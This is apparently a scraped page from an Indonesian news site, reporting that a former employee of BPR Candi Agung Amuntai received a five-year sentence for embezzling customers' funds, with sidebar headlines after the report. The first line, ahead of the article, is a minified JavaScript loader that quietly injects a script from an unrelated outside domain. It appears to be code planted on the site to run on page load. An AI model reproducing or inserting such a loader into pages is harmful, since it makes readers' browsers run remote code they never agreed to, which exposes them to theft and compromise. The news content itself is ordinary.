(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Vonis 5 Tahun Mantan Karyawan BPR Candi Agung Amuntai


KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin vonis 5 tahun penjara kepada Taufik Rahman.

Taufik Rahman menjadi terdakwa kasus korupsi penyelewengan dana nasabah Bank Perkreditan Rakyat (BPR) Candi Agung Amuntai Kabupaten Hulu Sungai Utara (HSU), Provinsi Kalimantan Selatan (Kalsel).

Putusan 5 tahun penjara tersebut dibacakan dalam sidang terbuka majelis hakim Pengadilan Tipikor Banjarmasin yang diketuai Suwandi SH dan dua hakim anggota Arif Winarno SH dan Salma Safitri SH, Selasa (4/6/2024) siang.

Mantan karyawan BPR Candi Agung Amuntai dinyatakan terbukti bersalah sebagaimana dakwaan primair jaksa penuntut umum (JPU) pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 KUHP.

Baca juga: Pembobol SDN 5 Basirih Banjarmasin Ditangkap, 17 Laptop Jadi Barang Bukti

“Mengadili, menjatuhkan pidana kepada terdakwa Taufik Rahman dengan pidana penjara selama 5 tahun dan denda Rp250 juta dan jika denda tidak dibayar diganti dengan 4 bulan kurungan,” kata Ketua Majelis Hakim Suwandi saat membacakan amar putusan.

Selain pidana hukuman penjara, mantan karyawan bank itu juga dibebani membayar uang pengganti kerugian negara dengan nominal Rp779 juta.

Dengan ketentuan, kata Suwandi, apabila uang pengganti tersebut tidak dibayar setelah putusan berkekuatan hukum tetap, maka jaksa dapat menyita harta terdakwa dan melelangnya untuk menutupi uang pengganti.

“Dan jika tidak mencukupi, maka dipidana penjara 2 tahun 6 bulan,” ucap Suwandi.

Putusan 5 tahun penjara lebih ringan dari tuntutan JPU yang sebelumnya menuntut Taufik Rahman dijatuhi hukuman selama 7 tahun penjara. Sementara putusan pidana denda dan pidana tambahan uang pengganti kerugian negara sama besarnya dari tuntutan.

Baca juga: 8 Bulan Tenggat Waktu Pembongkaran Kandang Babi, Ini Kata Ketua Komisi I

Usai pembacaan putusan, terdakwa yang didampingi penasehat hukum mengatakan, tidak mengajukan upaya hukum banding alias menerima putusan majelis hakim.

“Setelah konsultasi, terdawka menrima putusan,” kata penasehat hukum Taufik Rahman.

JPU dari Kejari HSU, Sumantri Aji Budiono SH memilih pikir-pikir selama waktu yang diberikan sebelum menentukan sikap menerima purisan atau justru mengambil upaya hukum banding.

Sebelumnya dalam dakwaan yang dibacakan JPU Sumantri Aji Surya Irawan SH, terdakwa Taufik Rahman disebut telah melakukan tindakan “Fraud” atau penyalahgunaan wewenang sebagai Funding Office (FO) saat masih aktif sebagai karyawan PT BPR Candi Agung Amuntai Kantor Cabang Telaga Silaba pada rentang waktu tahun 2017-2022.

Akibat perbuatan yang dilakukan terdakwa dalam rentang waktu 4 tahun itu dengan jumlah 22 nasabah tercatat telah merugikan keuangan negara mencapai Rp779 juta.

Baca juga: Tangkap Dua Lelaki di Cempaka, Polsek Banjarbaru Utara Dapati 18 Gram Sabu

“Hasil audit total kerugian negara dalam kasus ini sebesar Rp779.925.700,” kata Sumantri saat pembacan dakwaan.

Dalam dakwaan, JPU memasang pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 ayat 1 KUHP sebagai dakwaan primair.

Sementara subsidair dipasang pasal 3 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 64 ayat 1 KUHP.

Sejak proses penyidikan hingga persidangan, terdakwa Taufik Rahman ditahan di Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.